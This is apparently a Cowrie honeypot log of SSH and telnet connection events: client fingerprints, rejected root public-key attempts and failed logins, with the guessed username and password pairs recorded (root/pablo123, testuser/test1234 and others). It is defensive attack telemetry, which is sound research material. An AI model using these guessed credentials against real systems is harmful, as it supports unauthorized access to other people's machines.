{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:d9:da:29:08:8c:a5:df:15:90:38:f2:77:7b:2f:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfnL3+ttVCfQbMiUyaKcDqb8oFoa2y1xwryUNkMLJ96UXBBD00Rodrs604gLtUZkXESruxJHGrJaimV33opJGam2nxxrwGgXCfOqj6sSM8C1Q1HmO7ouyvu25vkNYqq2z7jywCzWs+/RVwHTziX+VHfRhFs0pK44TCTnedXOWpLMw55zqUId6AKOnaSqYNm6m/f9B4br6FHh06oRrflzLmTmHmq7Fj9GLekWIn+SgJeM723BxhuaNY5qq5HO/IOZYqgfr0g9+5Z8ZCLTLgPtWZ/XDyfzX1BKTC0ADl7fzH02gFrYM6erROJNwQMTNBF2quFk3+yWHmfY9N8U3MLcxV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:d9:da:29:08:8c:a5:df:15:90:38:f2:77:7b:2f:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.388960Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:d9:da:29:08:8c:a5:df:15:90:38:f2:77:7b:2f:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfnL3+ttVCfQbMiUyaKcDqb8oFoa2y1xwryUNkMLJ96UXBBD00Rodrs604gLtUZkXESruxJHGrJaimV33opJGam2nxxrwGgXCfOqj6sSM8C1Q1HmO7ouyvu25vkNYqq2z7jywCzWs+/RVwHTziX+VHfRhFs0pK44TCTnedXOWpLMw55zqUId6AKOnaSqYNm6m/f9B4br6FHh06oRrflzLmTmHmq7Fj9GLekWIn+SgJeM723BxhuaNY5qq5HO/IOZYqgfr0g9+5Z8ZCLTLgPtWZ/XDyfzX1BKTC0ADl7fzH02gFrYM6erROJNwQMTNBF2quFk3+yWHmfY9N8U3MLcxV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.393466Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:7f:82:6c:38:82:da:d0:88:b9:69:a8:ef:69:97:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI3IlpIA8gLydy0t3uv/nIM4zOq+gdTFgOJDViD5mLdKrwAVlbV0kAYfGVthdoWsmtHd06tPPiMuCk4S4eJUIuNBkaP61BlAYUozLUxlG7bbqRJsV+VfvuBbRrRTWi1foFARxYyovF5jeZ/i7XMIii6bBbbsX3thBUiI71xjytjiJBMCPHpuf5hdf/ZA1HEgvivHTrYkcs57ObV4KRfnBFvPBWpxxkoh4k8bk8zwVVKj+DZzytwzD79Q0PbinXzw9kVRPu376s2g6nJkrC9G/v98P29zt1s2tN5vOaYqr8oh975vTXQmz9lat01Ed94glph1FjD30/9hjwkaRZMRxn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:7f:82:6c:38:82:da:d0:88:b9:69:a8:ef:69:97:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.498096Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:7f:82:6c:38:82:da:d0:88:b9:69:a8:ef:69:97:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI3IlpIA8gLydy0t3uv/nIM4zOq+gdTFgOJDViD5mLdKrwAVlbV0kAYfGVthdoWsmtHd06tPPiMuCk4S4eJUIuNBkaP61BlAYUozLUxlG7bbqRJsV+VfvuBbRrRTWi1foFARxYyovF5jeZ/i7XMIii6bBbbsX3thBUiI71xjytjiJBMCPHpuf5hdf/ZA1HEgvivHTrYkcs57ObV4KRfnBFvPBWpxxkoh4k8bk8zwVVKj+DZzytwzD79Q0PbinXzw9kVRPu376s2g6nJkrC9G/v98P29zt1s2tN5vOaYqr8oh975vTXQmz9lat01Ed94glph1FjD30/9hjwkaRZMRxn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.501467Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:46.604130Z","src_ip":"186.190.215.90","session":"d87f6c9913eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:47.361833Z","src_ip":"159.195.79.219","session":"7e1291d34dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":37132,"dst_ip":"159.203.135.109","dst_port":22,"session":"061764c28fd7","protocol":"ssh","message":"New connection: 125.16.27.190:37132 (159.203.135.109:22) [session: 061764c28fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:53.903124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:53.907463Z","src_ip":"125.16.27.190","session":"061764c28fd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:54.195971Z","src_ip":"125.16.27.190","session":"061764c28fd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:55.375855Z","src_ip":"125.16.27.190","session":"061764c28fd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:56.669593Z","src_ip":"125.16.27.190","session":"061764c28fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":40352,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5e5c91a34d0","protocol":"ssh","message":"New connection: 45.61.187.220:40352 (159.203.135.109:22) [session: f5e5c91a34d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:59.362769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:59.367840Z","src_ip":"45.61.187.220","session":"f5e5c91a34d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:59.417861Z","src_ip":"45.61.187.220","session":"f5e5c91a34d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test1234","message":"login attempt [testuser/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:59.645241Z","src_ip":"45.61.187.220","session":"f5e5c91a34d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:00.705302Z","src_ip":"45.61.187.220","session":"f5e5c91a34d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.141443967819214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:01.718154Z","src_ip":"74.91.213.120","session":"5eae4d15acbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":33244,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9dab83e54ad","protocol":"ssh","message":"New connection: 66.113.163.125:33244 (159.203.135.109:22) [session: e9dab83e54ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:08.961136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:08.965339Z","src_ip":"66.113.163.125","session":"e9dab83e54ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:09.001620Z","src_ip":"66.113.163.125","session":"e9dab83e54ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aloalo","message":"login attempt [root/aloalo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:09.185120Z","src_ip":"66.113.163.125","session":"e9dab83e54ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:10.224751Z","src_ip":"66.113.163.125","session":"e9dab83e54ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":43882,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcc15479c849","protocol":"ssh","message":"New connection: 107.0.200.227:43882 (159.203.135.109:22) [session: fcc15479c849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:12.464613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:12.469367Z","src_ip":"107.0.200.227","session":"fcc15479c849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:12.501881Z","src_ip":"107.0.200.227","session":"fcc15479c849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pablo123","message":"login attempt [root/pablo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:12.659371Z","src_ip":"107.0.200.227","session":"fcc15479c849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:13.694383Z","src_ip":"107.0.200.227","session":"fcc15479c849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":39480,"dst_ip":"159.203.135.109","dst_port":23,"session":"be5b184572ab","protocol":"telnet","message":"New connection: 74.91.213.120:39480 (159.203.135.109:23) [session: be5b184572ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:23.740365Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":59010,"dst_ip":"159.203.135.109","dst_port":22,"session":"166b4910c7c2","protocol":"ssh","message":"New connection: 81.192.46.49:59010 (159.203.135.109:22) [session: 166b4910c7c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:29.070087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:29.074920Z","src_ip":"81.192.46.49","session":"166b4910c7c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:29.194377Z","src_ip":"81.192.46.49","session":"166b4910c7c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.abc","message":"login attempt [root/123.abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:29.685228Z","src_ip":"81.192.46.49","session":"166b4910c7c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:30.804592Z","src_ip":"81.192.46.49","session":"166b4910c7c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":47154,"dst_ip":"10.17.0.5","dst_port":22,"session":"384842da7c45","protocol":"ssh","message":"New connection: 92.191.96.70:47154 (10.17.0.5:22) [session: 384842da7c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:37.488344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:37.492615Z","src_ip":"92.191.96.70","session":"384842da7c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:37.635220Z","src_ip":"92.191.96.70","session":"384842da7c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:38.154609Z","src_ip":"92.191.96.70","session":"384842da7c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:39.281963Z","src_ip":"92.191.96.70","session":"384842da7c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":37748,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f637f9c287a","protocol":"telnet","message":"New connection: 74.91.213.120:37748 (159.203.135.109:23) [session: 3f637f9c287a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:49.812779Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":38492,"dst_ip":"159.203.135.109","dst_port":22,"session":"794e81c5791a","protocol":"ssh","message":"New connection: 185.153.231.45:38492 (159.203.135.109:22) [session: 794e81c5791a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:51.008677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:51.012851Z","src_ip":"185.153.231.45","session":"794e81c5791a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:51.144042Z","src_ip":"185.153.231.45","session":"794e81c5791a","protocol":"ssh"}
